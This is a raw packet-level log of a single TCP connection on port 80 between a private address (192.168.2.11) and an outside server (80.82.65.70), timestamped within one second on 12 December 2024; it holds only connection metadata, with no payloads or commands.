Dec 12, 2024 16:48:26.112116098 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.112195015 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.112195015 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.114842892 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.114905119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.114958048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.114958048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.117419958 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.117429018 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.117543936 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.120027065 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.120126009 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.120261908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.122545958 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.122632027 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.122720957 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.125047922 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.125154018 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.125224113 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.125224113 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.127649069 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.127768993 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.128348112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.130009890 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.130132914 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.130443096 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.130527020 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.132414103 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.132466078 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.132513046 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.134792089 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.134838104 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.134846926 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.134886026 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.137206078 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.137351990 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.137356997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.137417078 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.139530897 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.139609098 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.139667988 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.139947891 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.141902924 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.142026901 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.142030001 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.142136097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.144298077 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.144305944 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.144383907 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.146605968 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.146711111 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.146733046 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.146760941 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.148986101 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.148994923 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.149055004 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.151285887 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.151352882 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.151355982 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.151555061 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.153868914 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.153949976 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.153971910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.154252052 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.155896902 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.156090975 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.156096935 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.156171083 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.158278942 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.158382893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.158406019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.158451080 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.160603046 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.160653114 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.161081076 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.161081076 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.163026094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.163120031 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.163155079 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.163187981 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.165441990 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.165544987 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.165569067 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.165642977 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.167701960 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.167726040 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.167789936 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.170192957 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.170304060 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.170309067 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.170382977 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.172545910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.172604084 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.172802925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.172802925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.174745083 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.174901009 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.174966097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.175048113 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.176987886 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.177041054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.177082062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.177134037 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.179444075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.179486036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.179749966 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.181799889 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.181818008 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.182341099 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.184061050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.184251070 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.184304953 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.184304953 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.186409950 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.186453104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.186661959 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.186661959 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.188718081 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.188915968 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.188929081 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.188961029 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.191170931 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.191288948 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.191299915 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.191345930 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.193447113 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.193633080 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.193646908 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.194992065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.195853949 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.195872068 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.196883917 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.198147058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.198230028 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.198240042 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.198286057 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.200491905 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.200617075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.202503920 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.202857971 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.202959061 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.203357935 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.205183029 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.205303907 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.207331896 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.207331896 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.207550049 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.207743883 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.209814072 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.210575104 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.210575104 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.211330891 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.279778957 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.279865026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.279987097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.279987097 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.280587912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.280785084 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.281290054 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.282416105 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.282490015 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.283992052 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.284090996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.284143925 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.284460068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.284460068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.285852909 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.286231041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.287349939 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.287720919 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.287779093 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.288539886 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.288539886 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.289318085 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.289434910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.289602995 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.290971994 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.291034937 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.291306019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.291306019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.292681932 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.292819977 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.294295073 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.294426918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.294567108 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.295332909 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.295332909 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.295917988 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.296013117 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.296087980 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.297494888 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.297590971 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.298307896 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.298307896 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.299066067 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.299149990 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.299212933 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.300582886 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.300631046 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.301734924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.302151918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.302297115 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.302495956 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.302495956 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.303721905 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.303860903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.304522038 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.305052042 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.305201054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.305283070 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.306689024 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.306824923 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.307333946 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.307333946 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.307333946 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.308226109 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.308304071 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.309719086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.309828043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.311197996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.311335087 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.311335087 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.311351061 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.311556101 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.311556101 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.312657118 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.312787056 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.314338923 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.314448118 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.314497948 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.314497948 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.314497948 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.315618038 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.315773010 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.315783978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.317038059 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.317142963 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.317142963 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.317172050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.318420887 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.318514109 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.319350004 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.319350004 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.319933891 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.320039988 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.321311951 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.321374893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.322490931 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.322490931 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.322679043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.322771072 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.323334932 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.323334932 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.324094057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.324183941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.324697018 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.325479031 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.325557947 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.325651884 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.326961040 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.327045918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.327104092 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.327104092 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.328258991 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.328377962 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.329442978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.329672098 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.329732895 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.329756021 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.329813957 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.331058979 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.331173897 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.331212997 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.331267118 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.332423925 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.332592964 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.332607031 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.332685947 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.333844900 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.333853960 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.334021091 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.335196972 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.335453033 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.336458921 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.336458921 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.336635113 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.336642027 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.337524891 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.337923050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.337930918 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.338098049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.339338064 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.339345932 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.339473009 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.340694904 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.340703964 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.340754032 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.342015028 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.342148066 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.342489958 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.342489958 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.344129086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.344137907 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.344186068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.344902039 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.344908953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.344993114 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.346244097 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.346251011 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.346579075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.347702026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.347707987 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.347862959 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.348925114 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.348932981 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.349616051 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.350342035 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.350347996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.351059914 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.351633072 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.351639986 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.351900101 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.353040934 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.353055000 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.353936911 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.354268074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.354640961 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.355339050 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.355958939 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.355967045 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.359035969 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.359059095 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.359333992 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.489976883 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490000963 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490008116 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490083933 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490089893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.490130901 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.490132093 CET	49882	80	192.168.2.11	80.82.65.70
